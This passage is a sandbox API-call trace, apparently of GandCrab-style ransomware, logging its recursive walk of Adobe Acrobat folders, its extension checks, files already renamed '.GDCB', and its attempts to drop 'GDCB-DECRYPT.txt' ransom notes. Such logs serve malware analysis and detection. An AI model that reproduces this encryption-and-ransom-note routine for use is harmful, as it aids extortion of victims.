Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.028] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a49d8 [0170.028] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.028] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.028] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.028] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.029] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.029] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.029] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.029] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.029] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0170.029] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.029] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.029] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.029] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.029] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.029] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.029] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 135 [0170.029] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.029] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4a18 [0170.029] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.029] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.029] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.029] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.029] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.029] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.029] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.029] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.029] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 137 [0170.029] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.029] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.029] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.029] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.029] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 151 [0170.029] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.030] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0170.030] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0170.030] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.030] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 152 [0170.030] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.031] GetLastError () returned 0x50 [0170.031] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.031] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 135 [0170.031] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.031] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4a18 [0170.031] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.031] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.031] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.031] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.031] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.031] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.031] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.031] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.031] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0170.031] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.031] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.031] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.032] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 138 [0170.032] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.032] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4c58 [0170.032] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.032] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.032] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.032] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.032] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.032] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.032] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.032] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 156 [0170.032] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.032] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.032] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.032] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.032] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 156 [0170.032] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.032] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.032] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.032] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.032] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 155 [0170.032] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.032] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.032] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.032] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.032] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 155 [0170.032] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.032] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.032] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.032] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.032] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.032] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 143 [0170.032] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.033] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.033] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.033] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.033] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.033] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.033] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.033] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.033] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 159 [0170.033] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.033] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.033] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.033] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.033] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 164 [0170.033] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.033] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.033] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.033] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.033] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 154 [0170.033] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.033] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.033] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.033] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 157 [0170.033] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.033] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.033] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.033] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 156 [0170.033] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.033] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.033] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.033] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.033] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 155 [0170.033] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.034] GetLastError () returned 0x50 [0170.034] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.035] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 138 [0170.035] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.035] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4c58 [0170.035] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.035] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.035] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.035] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.035] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.035] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.035] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.035] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and 